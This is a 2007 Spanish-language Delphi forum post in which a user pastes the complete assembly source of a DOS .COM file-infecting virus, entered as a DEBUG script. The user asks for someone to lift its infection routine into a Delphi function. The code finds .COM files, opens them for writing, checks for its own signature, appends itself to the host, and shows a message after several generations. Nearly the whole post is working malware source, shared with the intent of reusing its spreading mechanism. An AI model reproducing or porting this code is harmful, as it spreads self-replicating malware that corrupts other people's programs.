Delphi - Necesito alguien que programe en Delphi/ASM

 
Vista:

Necesito alguien que programe en Delphi/ASM

Publicado por Sephiroth (24 intervenciones) el 01/07/2007 17:31:49
Miren, tengo un código de un virus escrito en ENSAMBLADOR y necesito sacar la rutina de infectar archivos ejecutables, en sí lo que deseo es hacer una aplicación en Delphi que tenga dicha rutina, aquí va el código completo, pero solo necesito esa rutina y hacer una función o procedimiento con ella en el delphi:

NPIX.COM
A
JMP 0116
DB 90,49,56,00,2A,2E,43,4F,4D,00,4F,04,00,00,01,00,00,00,00,00
MOV AX,CS
ADD AX,1000
MOV ES,AX
INC BYTE PTR [0105] ; Incrementa el contador de generaciones.
MOV SI,0100
XOR DI,DI
MOV CX,014F
REPZ
MOVSB
MOV DX,025F
MOV AH,1A
INT 21 ;Se encarga de crear el DTA para los ficheros...
MOV DX,0106 ;con extension.COM
MOV CX,0018
MOV AH,4E
INT 21
JB 019E
MOV DX,027D
MOV AX,3D02 ;Abre el fichero en modo lectura/escritura.
INT 21
MOV [0114],AX
MOV BX,AX
PUSH ES
POP DS
MOV DX,034F
MOV CX,FFFF
MOV AH,3F
INT 21
ADD AX,034F
CS:
MOV [0112],AX ;A continuacion, la firma del virus:
dB 3E,81,3E
DB 52,03
DB 49,56
JZ 0188
XOR CX,CX
MOV DX,CX
CS:
MOV BX,[0114]
MOV AX,4200
INT 21 ;Desplaza el puntero.
JB 0188
MOV DX,0000
CS:
MOV CX,[0112]
CS:
MOV BX,[0114]
MOV AH,40
INT 21 ;Salva virus y programa contaminado.
CS:
MOV BX,[0112]
MOV AH,3E
INT 21 ;Cierra el fichero.
PUSH CS
POP DS
MOV AH,4F
MOV DX,025F
INT 21
JB 019E
JMP 013E
MOV DX,0080
MOV AH,1A
INT 21 ;Restaura el DTA original.
CMP BYTE PTR [0105],05 ; ¨Quinta generacio?...
JB 0207 ; Si es asi, comienza el espectaculo.
MOV AX,0040
MOV DS,AX
MOV AX,[006C] ; Aleatoriedad de manifestacion del virus...
PUSH CS ; mediante el registro de decimas de segundo.
POPDS
AND AX,0001
JZ 0207
MOV DX,01C4
MOV AH,09
INT 21
INT 20 ; A continuacion, el mensaje del virus.
DB 59,4F,55,52,20,50,43,20,48,41,56,45,20,41,20,4D,45,53,53,41,4A,52
DB 20,46,4F,52,20,59,4F,55,20,3A,20,4A,4F,44,45,54,45,20,59,20,45,53
DB 50,45,52,41,20,43,41,4D,49,4C,4F,20,4A,4F,53,45,20,43,45,4C,41,2E
DB 24
MOV SI,0224
MOV CX,002B
XOR DI,DI
REPZ
MOVSB
XOR DI,DI
CS:
MOV WORD PTR [010E],0000
CS:
MOV [0110],ES
CS:
JMP FAR [010E]
PUSH DS
POP ES
MOV SI,044F
CMP BYTE PTR [0105],01
JNZ 0234
SUB SI,0200
MOV DI,0100
MOV CX,FFFF
SUB CX,SI
REPZ
MOVSB
CS:
MOV WORD PTR [0100],0100
CS:
MOV [0102],DS
CS:
JMP FAR [0100] ; Salto a la ejecucion del verdadero programa...
INT 20 ; siempre que se trate de una generacion...
INT 20 ; posterior a la primera, y por tanto, exista.
DB 0,0

RCX
154
W
Q
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder